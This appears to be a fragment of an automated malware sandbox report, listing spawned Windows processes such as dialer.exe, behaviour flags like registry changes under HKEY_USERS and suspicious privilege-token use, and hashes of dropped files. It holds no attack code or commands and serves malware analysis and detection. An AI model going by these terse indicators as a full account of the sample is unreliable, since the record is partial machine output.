C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2424
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1152
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4116
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4456
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:1296
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
15.9MB
MD5d3c16cede9b6e4ee304a0184328d313d
SHA1bd82838a3cc343956ecce4d5051b510dd941de11
SHA256e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c
SHA512284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5aa187cac09f051e24146ad549a0f08a6
SHA12ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA2567036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
SHA512960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD51469e2ebd82af1abedcfc0e1a7d57cc5
SHA1f5622e3d8e7d2275d44f1c1d806a90b0a52cb3bf
SHA2560fd68598598d1dfa246506196e6e0b46ee2b3b26a91c229ff9bb290c7f63d7c1
SHA5122aee37eccdc020a54dfbd0b15837848763ab7daf32c152389a349ff23eab2aa0178901402299d2116bfa1c43af747f34f03b72db99cf752ca7827f3eebd05617
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Filesize
3KB
MD58d346e67fe454926c9be4324ada55a7f
SHA1b75f48371401e1a22f475ea5ebc212168cb3b6d6
SHA256b0d81bc6e9ed18f4b19f3057d3c1b6ef65eaec17c7e27031a67c3220ee487c21
SHA512e719a64ec49c0859d8611446a8ce9376d61ce9302bc78faa0f22dc6b775d3c0eb6aa5c293f8df8bf409861ae19f2ffa9e80e3a2cea6312f60aa70d3ae3e4181a